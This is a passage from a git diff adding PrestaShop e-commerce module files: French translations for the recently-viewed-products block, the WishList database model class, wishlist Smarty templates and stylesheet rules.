fill in the \'Products displayed\' field.'; +$_MODULE['<{blockviewed}prestashop>blockviewed_49fa2426b7903b3d4c89e2c1874d9346'] = 'About'; diff --git a/modules/blockviewed/translations/fr.php b/modules/blockviewed/translations/fr.php new file mode 100755 index 0000000..c5eb6df --- /dev/null +++ b/modules/blockviewed/translations/fr.php @@ -0,0 +1,17 @@ +blockviewed_fcb72d5a95d9a713f84425c807bbd667'] = 'Bloc produits déjà vus'; +$_MODULE['<{blockviewed}prestashop>blockviewed_eaa362292272519b786c2046ab4b68d2'] = 'Ajoute un bloc proposant les derniers produits vus par le client.'; +$_MODULE['<{blockviewed}prestashop>blockviewed_2e57399079951d84b435700493b8a8c1'] = 'Champ \"Produits vus\" obligatoire\"'; +$_MODULE['<{blockviewed}prestashop>blockviewed_73293a024e644165e9bf48f270af63a0'] = 'Nombre invalide.'; +$_MODULE['<{blockviewed}prestashop>blockviewed_c888438d14855d7d96a2724ee9c306bd'] = 'Configuration mise à jour'; +$_MODULE['<{blockviewed}prestashop>blockviewed_f4f70727dc34561dfde1a3c529b6205c'] = 'Configuration'; +$_MODULE['<{blockviewed}prestashop>blockviewed_e451e6943bb539d1bd804d2ede6474b5'] = 'Nombre de produits affichés'; +$_MODULE['<{blockviewed}prestashop>blockviewed_d36bbb6066e3744039d38e580f17a2cc'] = 'Détermine le nombre de produits affichés dans ce bloc'; +$_MODULE['<{blockviewed}prestashop>blockviewed_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{blockviewed}prestashop>blockviewed_43560641f91e63dc83682bc598892fa1'] = 'Déjà vus'; +$_MODULE['<{blockviewed}prestashop>blockviewed_8f7f4c1ce7a4f933663d10543562b096'] = 'En savoir plus sur'; +$_MODULE['<{blockviewed}prestashop>blockviewed_49fa2426b7903b3d4c89e2c1874d9346'] = 'En savoir plus à propos de'; diff --git a/modules/blockviewed/translations/index.php b/modules/blockviewed/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockviewed/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockwishlist/WishList.php b/modules/blockwishlist/WishList.php new file mode 100755 index 0000000..7ab58cc --- /dev/null +++ b/modules/blockwishlist/WishList.php @@ -0,0 +1,547 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class WishList extends ObjectModel +{ + /** @var integer Wishlist ID */ + public $id; + + /** @var integer Customer ID */ + public $id_customer; + + /** @var integer Token */ + public $token; + + /** @var integer Name */ + public $name; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** @var string Object last modification date */ + public $id_shop; + + /** @var string Object last modification date */ + public $id_shop_group; + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'wishlist', + 'primary' => 'id_wishlist', + 'fields' => array( + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'token' => array('type' => self::TYPE_STRING, 'validate' => 'isMessage', 'required' => true), + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isMessage', 'required' => true), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_shop_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + ) + ); + + public function delete() + { + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'wishlist_email` WHERE `id_wishlist` = '.(int)($this->id)); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'wishlist_product` WHERE `id_wishlist` = '.(int)($this->id)); + if (isset($this->context->cookie->id_wishlist)) + unset($this->context->cookie->id_wishlist); + + return (parent::delete()); + } + + /** + * Increment counter + * + * @return boolean succeed + */ + public static function incCounter($id_wishlist) + { + if (!Validate::isUnsignedId($id_wishlist)) + die (Tools::displayError()); + $result = Db::getInstance()->getRow(' + SELECT `counter` + FROM `'._DB_PREFIX_.'wishlist` + WHERE `id_wishlist` = '.(int)$id_wishlist + ); + if ($result == false || !count($result) || empty($result) === true) + return (false); + + return Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'wishlist` SET + `counter` = '.(int)($result['counter'] + 1).' + WHERE `id_wishlist` = '.(int)$id_wishlist + ); + } + + + public static function isExistsByNameForUser($name) + { + if (Shop::getContextShopID()) + $shop_restriction = 'AND id_shop = '.(int)Shop::getContextShopID(); + elseif (Shop::getContextShopGroupID()) + $shop_restriction = 'AND id_shop_group = '.(int)Shop::getContextShopGroupID(); + else + $shop_restriction = ''; + + $context = Context::getContext(); + return Db::getInstance()->getValue(' + SELECT COUNT(*) AS total + FROM `'._DB_PREFIX_.'wishlist` + WHERE `name` = \''.pSQL($name).'\' + AND `id_customer` = '.(int)$context->customer->id.' + '.$shop_restriction + ); + } + + /** + * Return true if wishlist exists else false + * + * @return boolean exists + */ + public static function exists($id_wishlist, $id_customer, $return = false) + { + if (!Validate::isUnsignedId($id_wishlist) OR + !Validate::isUnsignedId($id_customer)) + die (Tools::displayError()); + $result = Db::getInstance()->getRow(' + SELECT `id_wishlist`, `name`, `token` + FROM `'._DB_PREFIX_.'wishlist` + WHERE `id_wishlist` = '.(int)($id_wishlist).' + AND `id_customer` = '.(int)($id_customer)); + if (empty($result) === false AND $result != false AND sizeof($result)) + { + if ($return === false) + return (true); + else + return ($result); + } + return (false); + } + + /** + * Get ID wishlist by Token + * + * @return array Results + */ + public static function getByToken($token) + { + if (!Validate::isMessage($token)) + die (Tools::displayError()); + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT w.`id_wishlist`, w.`name`, w.`id_customer`, c.`firstname`, c.`lastname` + FROM `'._DB_PREFIX_.'wishlist` w + INNER JOIN `'._DB_PREFIX_.'customer` c ON c.`id_customer` = w.`id_customer` + WHERE `token` = \''.pSQL($token).'\'')); + } + + /** + * Get Wishlists by Customer ID + * + * @return array Results + */ + public static function getByIdCustomer($id_customer) + { + if (Shop::getContextShopID()) + $shop_restriction = 'AND id_shop = '.(int)Shop::getContextShopID(); + elseif (Shop::getContextShopGroupID()) + $shop_restriction = 'AND id_shop_group = '.(int)Shop::getContextShopGroupID(); + else + $shop_restriction = ''; + + if (!Validate::isUnsignedId($id_customer)) + die (Tools::displayError()); + return (Db::getInstance()->executeS(' + SELECT w.`id_wishlist`, w.`name`, w.`token`, w.`date_add`, w.`date_upd`, w.`counter` + FROM `'._DB_PREFIX_.'wishlist` w + WHERE `id_customer` = '.(int)($id_customer).' + '.$shop_restriction.' + ORDER BY w.`name` ASC')); + } + + public static function refreshWishList($id_wishlist) + { + $old_carts = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT wp.id_product, wp.id_product_attribute, wpc.id_cart, UNIX_TIMESTAMP(NOW()) - UNIX_TIMESTAMP(wpc.date_add) AS timecart + FROM `'._DB_PREFIX_.'wishlist_product_cart` wpc + JOIN `'._DB_PREFIX_.'wishlist_product` wp ON (wp.id_wishlist_product = wpc.id_wishlist_product) + JOIN `'._DB_PREFIX_.'cart` c ON (c.id_cart = wpc.id_cart) + JOIN `'._DB_PREFIX_.'cart_product` cp ON (wpc.id_cart = cp.id_cart) + LEFT JOIN `'._DB_PREFIX_.'orders` o ON (o.id_cart = c.id_cart) + WHERE (wp.id_wishlist='.(int)($id_wishlist).' AND o.id_cart IS NULL) + HAVING timecart >= 3600*6'); + + if (isset($old_carts) AND $old_carts != false) + foreach ($old_carts AS $old_cart) + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'cart_product` + WHERE id_cart='.(int)($old_cart['id_cart']).' AND id_product='.(int)($old_cart['id_product']).' AND id_product_attribute='.(int)($old_cart['id_product_attribute']) + ); + + $freshwish = Db::getInstance()->executeS(' + SELECT wpc.id_cart, wpc.id_wishlist_product + FROM `'._DB_PREFIX_.'wishlist_product_cart` wpc + JOIN `'._DB_PREFIX_.'wishlist_product` wp ON (wpc.id_wishlist_product = wp.id_wishlist_product) + JOIN `'._DB_PREFIX_.'cart` c ON (c.id_cart = wpc.id_cart) + LEFT JOIN `'._DB_PREFIX_.'cart_product` cp ON (cp.id_cart = wpc.id_cart AND cp.id_product = wp.id_product AND cp.id_product_attribute = wp.id_product_attribute) + WHERE (wp.id_wishlist = '.(int)($id_wishlist).' AND ((cp.id_product IS NULL AND cp.id_product_attribute IS NULL))) + '); + $res = Db::getInstance()->executeS(' + SELECT wp.id_wishlist_product, cp.quantity AS cart_quantity, wpc.quantity AS wish_quantity, wpc.id_cart + FROM `'._DB_PREFIX_.'wishlist_product_cart` wpc + JOIN `'._DB_PREFIX_.'wishlist_product` wp ON (wp.id_wishlist_product = wpc.id_wishlist_product) + JOIN `'._DB_PREFIX_.'cart` c ON (c.id_cart = wpc.id_cart) + JOIN `'._DB_PREFIX_.'cart_product` cp ON (cp.id_cart = wpc.id_cart AND cp.id_product = wp.id_product AND cp.id_product_attribute = wp.id_product_attribute) + WHERE wp.id_wishlist='.(int)($id_wishlist) + ); + + if (isset($res) AND $res != false) + foreach ($res AS $refresh) + if ($refresh['wish_quantity'] > $refresh['cart_quantity']) + { + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'wishlist_product` + SET `quantity`= `quantity` + '.((int)($refresh['wish_quantity']) - (int)($refresh['cart_quantity'])).' + WHERE id_wishlist_product='.(int)($refresh['id_wishlist_product']) + ); + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'wishlist_product_cart` + SET `quantity`='.(int)($refresh['cart_quantity']).' + WHERE id_wishlist_product='.(int)($refresh['id_wishlist_product']).' AND id_cart='.(int)($refresh['id_cart']) + ); + } + if (isset($freshwish) AND $freshwish != false) + foreach ($freshwish AS $prodcustomer) + { + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'wishlist_product` SET `quantity`=`quantity` + + ( + SELECT `quantity` FROM `'._DB_PREFIX_.'wishlist_product_cart` + WHERE `id_wishlist_product`='.(int)($prodcustomer['id_wishlist_product']).' AND `id_cart`='.(int)($prodcustomer['id_cart']).' + ) + WHERE `id_wishlist_product`='.(int)($prodcustomer['id_wishlist_product']).' AND `id_wishlist`='.(int)($id_wishlist) + ); + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'wishlist_product_cart` + WHERE `id_wishlist_product`='.(int)($prodcustomer['id_wishlist_product']).' AND `id_cart`='.(int)($prodcustomer['id_cart']) + ); + } + } + + /** + * Get Wishlist products by Customer ID + * + * @return array Results + */ + public static function getProductByIdCustomer($id_wishlist, $id_customer, $id_lang, $id_product = null, $quantity = false) + { + if (!Validate::isUnsignedId($id_customer) OR + !Validate::isUnsignedId($id_lang) OR + !Validate::isUnsignedId($id_wishlist)) + die (Tools::displayError()); + $products = Db::getInstance()->executeS(' + SELECT wp.`id_product`, wp.`quantity`, p.`quantity` AS product_quantity, pl.`name`, wp.`id_product_attribute`, wp.`priority`, pl.link_rewrite, cl.link_rewrite AS category_rewrite + FROM `'._DB_PREFIX_.'wishlist_product` wp + LEFT JOIN `'._DB_PREFIX_.'product` p ON p.`id_product` = wp.`id_product` + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON pl.`id_product` = wp.`id_product`'.Shop::addSqlRestrictionOnLang('pl').' + LEFT JOIN `'._DB_PREFIX_.'wishlist` w ON w.`id_wishlist` = wp.`id_wishlist` + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON cl.`id_category` = product_shop.`id_category_default` AND cl.id_lang='.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').' + WHERE w.`id_customer` = '.(int)($id_customer).' + AND pl.`id_lang` = '.(int)($id_lang).' + AND wp.`id_wishlist` = '.(int)($id_wishlist). + (empty($id_product) === false ? ' AND wp.`id_product` = '.(int)($id_product) : ''). + ($quantity == true ? ' AND wp.`quantity` != 0': '').' + GROUP BY p.id_product, wp.id_product_attribute'); + if (empty($products) === true OR !sizeof($products)) + return array(); + for ($i = 0; $i < sizeof($products); ++$i) + { + if (isset($products[$i]['id_product_attribute']) AND + Validate::isUnsignedInt($products[$i]['id_product_attribute'])) + { + $result = Db::getInstance()->executeS(' + SELECT al.`name` AS attribute_name, pa.`quantity` AS "attribute_quantity" + FROM `'._DB_PREFIX_.'product_attribute_combination` pac + LEFT JOIN `'._DB_PREFIX_.'attribute` a ON (a.`id_attribute` = pac.`id_attribute`) + LEFT JOIN `'._DB_PREFIX_.'attribute_group` ag ON (ag.`id_attribute_group` = a.`id_attribute_group`) + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)($id_lang).') + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)($id_lang).') + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa ON (pac.`id_product_attribute` = pa.`id_product_attribute`) + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE pac.`id_product_attribute` = '.(int)($products[$i]['id_product_attribute'])); + $products[$i]['attributes_small'] = ''; + if ($result) + foreach ($result AS $k => $row) + $products[$i]['attributes_small'] .= $row['attribute_name'].', '; + $products[$i]['attributes_small'] = rtrim($products[$i]['attributes_small'], ', '); + if (isset($result[0])) + $products[$i]['attribute_quantity'] = $result[0]['attribute_quantity']; + } + else + $products[$i]['attribute_quantity'] = $products[$i]['product_quantity']; + } + return ($products); + } + + /** + * Get Wishlists number products by Customer ID + * + * @return array Results + */ + public static function getInfosByIdCustomer($id_customer) + { + if (Shop::getContextShopID()) + $shop_restriction = 'AND id_shop = '.(int)Shop::getContextShopID(); + elseif (Shop::getContextShopGroupID()) + $shop_restriction = 'AND id_shop_group = '.(int)Shop::getContextShopGroupID(); + else + $shop_restriction = ''; + + if (!Validate::isUnsignedId($id_customer)) + die (Tools::displayError()); + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT SUM(wp.`quantity`) AS nbProducts, wp.`id_wishlist` + FROM `'._DB_PREFIX_.'wishlist_product` wp + INNER JOIN `'._DB_PREFIX_.'wishlist` w ON (w.`id_wishlist` = wp.`id_wishlist`) + WHERE w.`id_customer` = '.(int)($id_customer).' + '.$shop_restriction.' + GROUP BY w.`id_wishlist` + ORDER BY w.`name` ASC')); + } + + /** + * Add product to ID wishlist + * + * @return boolean succeed + */ + public static function addProduct($id_wishlist, $id_customer, $id_product, $id_product_attribute, $quantity) + { + if (!Validate::isUnsignedId($id_wishlist) OR + !Validate::isUnsignedId($id_customer) OR + !Validate::isUnsignedId($id_product) OR + !Validate::isUnsignedId($quantity)) + die (Tools::displayError()); + $result = Db::getInstance()->getRow(' + SELECT wp.`quantity` + FROM `'._DB_PREFIX_.'wishlist_product` wp + JOIN `'._DB_PREFIX_.'wishlist` w ON (w.`id_wishlist` = wp.`id_wishlist`) + WHERE wp.`id_wishlist` = '.(int)($id_wishlist).' + AND w.`id_customer` = '.(int)($id_customer).' + AND wp.`id_product` = '.(int)($id_product).' + AND wp.`id_product_attribute` = '.(int)($id_product_attribute)); + if (empty($result) === false AND sizeof($result)) + { + if (($result['quantity'] + $quantity) <= 0) + return (WishList::removeProduct($id_wishlist, $id_customer, $id_product, $id_product_attribute)); + else + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'wishlist_product` SET + `quantity` = '.(int)($quantity + $result['quantity']).' + WHERE `id_wishlist` = '.(int)($id_wishlist).' + AND `id_product` = '.(int)($id_product).' + AND `id_product_attribute` = '.(int)($id_product_attribute))); + } + else + return (Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'wishlist_product` (`id_wishlist`, `id_product`, `id_product_attribute`, `quantity`, `priority`) VALUES( + '.(int)($id_wishlist).', + '.(int)($id_product).', + '.(int)($id_product_attribute).', + '.(int)($quantity).', 1)')); + + } + + /** + * Update product to wishlist + * + * @return boolean succeed + */ + public static function updateProduct($id_wishlist, $id_product, $id_product_attribute, $priority, $quantity) + { + if (!Validate::isUnsignedId($id_wishlist) OR + !Validate::isUnsignedId($id_product) OR + !Validate::isUnsignedId($quantity) OR + $priority < 0 OR $priority > 2) + die (Tools::displayError()); + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'wishlist_product` SET + `priority` = '.(int)($priority).', + `quantity` = '.(int)($quantity).' + WHERE `id_wishlist` = '.(int)($id_wishlist).' + AND `id_product` = '.(int)($id_product).' + AND `id_product_attribute` = '.(int)($id_product_attribute))); + } + + /** + * Remove product from wishlist + * + * @return boolean succeed + */ + public static function removeProduct($id_wishlist, $id_customer, $id_product, $id_product_attribute) + { + if (!Validate::isUnsignedId($id_wishlist) OR + !Validate::isUnsignedId($id_customer) OR + !Validate::isUnsignedId($id_product)) + die (Tools::displayError()); + $result = Db::getInstance()->getRow(' + SELECT w.`id_wishlist`, wp.`id_wishlist_product` + FROM `'._DB_PREFIX_.'wishlist` w + LEFT JOIN `'._DB_PREFIX_.'wishlist_product` wp ON (wp.`id_wishlist` = w.`id_wishlist`) + WHERE `id_customer` = '.(int)($id_customer).' + AND w.`id_wishlist` = '.(int)($id_wishlist)); + if (empty($result) === true OR + $result === false OR + !sizeof($result) OR + $result['id_wishlist'] != $id_wishlist) + return (false); + // Delete product in wishlist_product_cart + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'wishlist_product_cart` + WHERE `id_wishlist_product` = '.(int)($result['id_wishlist_product']) + ); + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'wishlist_product` + WHERE `id_wishlist` = '.(int)($id_wishlist).' + AND `id_product` = '.(int)($id_product).' + AND `id_product_attribute` = '.(int)($id_product_attribute) + ); + } + + /** + * Return bought product by ID wishlist + * + * @return Array results + */ + public static function getBoughtProduct($id_wishlist) + { + + if (!Validate::isUnsignedId($id_wishlist)) + die (Tools::displayError()); + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT wp.`id_product`, wp.`id_product_attribute`, wpc.`quantity`, wpc.`date_add`, cu.`lastname`, cu.`firstname` + FROM `'._DB_PREFIX_.'wishlist_product_cart` wpc + JOIN `'._DB_PREFIX_.'wishlist_product` wp ON (wp.id_wishlist_product = wpc.id_wishlist_product) + JOIN `'._DB_PREFIX_.'cart` ca ON (ca.id_cart = wpc.id_cart) + JOIN `'._DB_PREFIX_.'customer` cu ON (cu.`id_customer` = ca.`id_customer`) + WHERE wp.`id_wishlist` = '.(int)($id_wishlist))); + } + + /** + * Add bought product + * + * @return boolean succeed + */ + public static function addBoughtProduct($id_wishlist, $id_product, $id_product_attribute, $id_cart, $quantity) + { + if (!Validate::isUnsignedId($id_wishlist) OR + !Validate::isUnsignedId($id_product) OR + !Validate::isUnsignedId($quantity)) + die (Tools::displayError()); + $result = Db::getInstance()->getRow(' + SELECT `quantity`, `id_wishlist_product` + FROM `'._DB_PREFIX_.'wishlist_product` wp + WHERE `id_wishlist` = '.(int)($id_wishlist).' + AND `id_product` = '.(int)($id_product).' + AND `id_product_attribute` = '.(int)($id_product_attribute)); + + if (!sizeof($result) OR + ($result['quantity'] - $quantity) < 0 OR + $quantity > $result['quantity']) + return (false); + + Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'wishlist_product_cart` + WHERE `id_wishlist_product`='.(int)($result['id_wishlist_product']).' AND `id_cart`='.(int)($id_cart) + ); + + if (Db::getInstance()->NumRows() > 0) + $result2= Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'wishlist_product_cart` + SET `quantity`=`quantity` + '.(int)($quantity).' + WHERE `id_wishlist_product`='.(int)($result['id_wishlist_product']).' AND `id_cart`='.(int)($id_cart) + ); + + else + $result2 = Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'wishlist_product_cart` + (`id_wishlist_product`, `id_cart`, `quantity`, `date_add`) VALUES( + '.(int)($result['id_wishlist_product']).', + '.(int)($id_cart).', + '.(int)($quantity).', + \''.pSQL(date('Y-m-d H:i:s')).'\')'); + + if ($result2 === false) + return (false); + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'wishlist_product` SET + `quantity` = '.(int)($result['quantity'] - $quantity).' + WHERE `id_wishlist` = '.(int)($id_wishlist).' + AND `id_product` = '.(int)($id_product).' + AND `id_product_attribute` = '.(int)($id_product_attribute))); + } + + /** + * Add email to wishlist + * + * @return boolean succeed + */ + public static function addEmail($id_wishlist, $email) + { + if (!Validate::isUnsignedId($id_wishlist) OR empty($email) OR !Validate::isEmail($email)) + return false; + return (Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'wishlist_email` (`id_wishlist`, `email`, `date_add`) VALUES( + '.(int)($id_wishlist).', + \''.pSQL($email).'\', + \''.pSQL(date('Y-m-d H:i:s')).'\')')); + } + + /** + * Get email from wishlist + * + * @return Array results + */ + public static function getEmail($id_wishlist, $id_customer) + { + if (!Validate::isUnsignedId($id_wishlist) OR + !Validate::isUnsignedId($id_customer)) + die (Tools::displayError()); + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT we.`email`, we.`date_add` + FROM `'._DB_PREFIX_.'wishlist_email` we + INNER JOIN `'._DB_PREFIX_.'wishlist` w ON w.`id_wishlist` = we.`id_wishlist` + WHERE we.`id_wishlist` = '.(int)($id_wishlist).' + AND w.`id_customer` = '.(int)($id_customer))); + } +}; diff --git a/modules/blockwishlist/blockwishlist-ajax.tpl b/modules/blockwishlist/blockwishlist-ajax.tpl new file mode 100755 index 0000000..b13a8fb --- /dev/null +++ b/modules/blockwishlist/blockwishlist-ajax.tpl @@ -0,0 +1,49 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $products} +
        + {foreach from=$products item=product name=i} +
        + {$product.quantity|intval}x + {$product.name|truncate:13:'...'|escape:'htmlall':'UTF-8'} + {l s='Delete'} +
        + {if isset($product.attributes_small)} +
        + {$product.attributes_small|escape:'htmlall':'UTF-8'} +
        + {/if} + {/foreach} +
        +{else} +
        + {if isset($error) && $error} +
        {l s='You must create a wishlist before adding products' mod='blockwishlist'}
        + {else} +
        {l s='No products' mod='blockwishlist'}
        + {/if} +
        +{/if} diff --git a/modules/blockwishlist/blockwishlist-extra.tpl b/modules/blockwishlist/blockwishlist-extra.tpl new file mode 100755 index 0000000..d057e00 --- /dev/null +++ b/modules/blockwishlist/blockwishlist-extra.tpl @@ -0,0 +1,26 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        » {l s='Add to my wishlist' mod='blockwishlist'}

        diff --git a/modules/blockwishlist/blockwishlist.css b/modules/blockwishlist/blockwishlist.css new file mode 100755 index 0000000..2ff9135 --- /dev/null +++ b/modules/blockwishlist/blockwishlist.css @@ -0,0 +1,249 @@ +/* module blockwishlist */ + +/* lnk on detail product page */ +#wishlist_button { + padding:2px 0 2px 20px; + background:url(img/icon/add.png) no-repeat 0 0 transparent +} + + +/* bt add */ +.add_wishlist_button a {padding:5px 7px 5px 18px} +.add_wishlist_button a span { + z-index:10; + display:block; + position:absolute; + top:-1px; + left:-12px; + height:26px; + width:26px; + background:url(img/icon/pict_add_wishlist.png) no-repeat 0 0 transparent +} + +/* bloc */ +#wishlist_block #wishlist_block_list { + margin:5px 0 10px 0; + padding-bottom:10px; + border-bottom:1px dotted #ccc +} +#wishlist_block_list dt { + position:relative; + margin-top:5px; + padding-right:20px +} + +#wishlist_block_list .quantity-formated { + display:inline-block; + margin-right:5px; + width:15px +} +#wishlist_block_list .cart_block_product_name {font-weight:bold} +#wishlist_block_list .ajax_cart_block_remove_link { + display:inline-block; + position:absolute; + right:0; + top:0; + margin:1px 0 0 5px; + height:12px; + width:12px +} +#wishlist_block_list dd {margin:0 0 0 24px} + + +#wishlist_block_list .ajax_cart_block_remove_link a { + display:inline-block; + height:12px; + width:12px; + background: url(img/icon/delete.gif) no-repeat 0 0 +} +#wishlist_block_list .price { + float:right +} + +#wishlist_block select#wishlists { + margin-bottom:10px; + width:99%; + border:1px solid #ccc; +} +#wishlist_block .lnk {padding:0} +#wishlist_block .lnk a { + display:block; + font-weight:bold; + text-align:right +} + +/* page in my account ************************************************************************* */ +#module-blockwishlist-mywishlist #left_column {display:none} +#module-blockwishlist-mywishlist #center_column{width:757px} + +#module-blockwishlist-mywishlist #mywishlist fieldset { + padding:10px; + -moz-border-radius:3px; + -webkit-border-radius:3px; + border-radius:3px; + background:#eee +} +#module-blockwishlist-mywishlist #mywishlist p.text label { + display:inline-block; + padding-right:10px; + width:174px; + font-weight:bold; + font-size:12px; + text-align:right +} +#module-blockwishlist-mywishlist #mywishlist p.text input { + padding:0 5px; + height:20px; + width:288px; + border:1px solid #ccc; + background:url(../img/bg_input.png) repeat-x 0 0 #fff +} +#module-blockwishlist-mywishlist #mywishlist p.submit { + margin-right:25px; + padding-bottom:5px; + text-align:right +} + +#mywishlist td.wishlist_delete { + text-align:center; + border-right: 1px solid #999 +} +#mywishlist td.wishlist_delete a { + display:inline-block; + font-size:8px; + padding:1px 2px; + -moz-border-radius:3px; + -webkit-border-radius:3px; + border-radius:3px; + color:#666; + text-shadow:0 1px 0 #fff; + text-transform:uppercase; + background: none repeat scroll 0 0 #ccc; +} + + +/* form add ****************************************** */ +#form_wishlist {} +#form_wishlist fieldset { padding: 20px } +#form_wishlist label { + display:inline-block; + padding:6px 15px; + width:150px; + font-size:12px; + text-align:right; +} +#form_wishlist input.inputTxt { + padding:0 5px; + height:26px; + width:260px; + font-size:12px; + color:#666; + border:1px solid #ccc; +} + +/* block-order-detail ********************************** */ +#module-blockwishlist-mywishlist #block-order-detail {margin-top:20px} + +/* wishlistLinkTop */ +#module-blockwishlist-mywishlist #block-order-detail #hideSendWishlist { + display:inline-block; + height:12px; + width:12px; + background: url(img/icon/delete.gif) no-repeat 0 0 +} + +#module-blockwishlist-mywishlist .wishlistLinkTop {} +#module-blockwishlist-mywishlist .wishlistLinkTop ul { + list-style-type:none; + border-bottom:1px dotted #ccc +} + #module-blockwishlist-mywishlist .wishlistLinkTop ul.wlp_bought_list {border:none;} +#module-blockwishlist-mywishlist .wishlistLinkTop li {float:left} +#module-blockwishlist-mywishlist .wishlistLinkTop .display_list li a { + display:inline-block; + padding:7px 11px 5px 22px; + color: #333; + background:url(img/arrow_right_2.png) no-repeat 10px 10px transparent +} + +#module-blockwishlist-mywishlist .wishlistLinkTop #hideSendWishlist { + float:right; + display:block; + height:12px; + width:12px; + text-indent:-5000px; + background: url(img/icon/delete.gif) no-repeat 0 0 +} +#module-blockwishlist-mywishlist .wishlistLinkTop #showBoughtProducts, +#module-blockwishlist-mywishlist .wishlistLinkTop #hideBoughtProductsInfos {display:none} + +/* wishlisturl */ +#module-blockwishlist-mywishlist .wishlisturl { + margin:20px 0; + padding:10px; + background:#eee +} +#module-blockwishlist-mywishlist .wishlisturl input { + padding:2px 5px; + border:1px solid #ccc +} + + +/* wlp_bought ****************************************** */ + +/* wlp_bought_list */ +ul.wlp_bought_list { + list-style-type:none; + margin-bottom:20px +} +ul.wlp_bought_list li { + position:relative; + float:left; + margin:20px 20px 0 0; + padding:5px; + width:218px;/* 230 */ + border:1px solid #d1d1d1; + -moz-border-radius:3px; + -webkit-border-radius:3px; + border-radius:3px; +} +ul.wlp_bought_list li .product_image { + float:left; + width:82px +} +ul.wlp_bought_list li .product_image a { + display:block; + padding:0; + border:1px solid #d1d1d1 +} + +ul.wlp_bought_list li .product_infos { + float:left; + margin-left:10px; + width:126px +} +ul.wlp_bought_list li .product_infos .s_title_block.product_name { + padding:5px 0; + font-size:12px; + 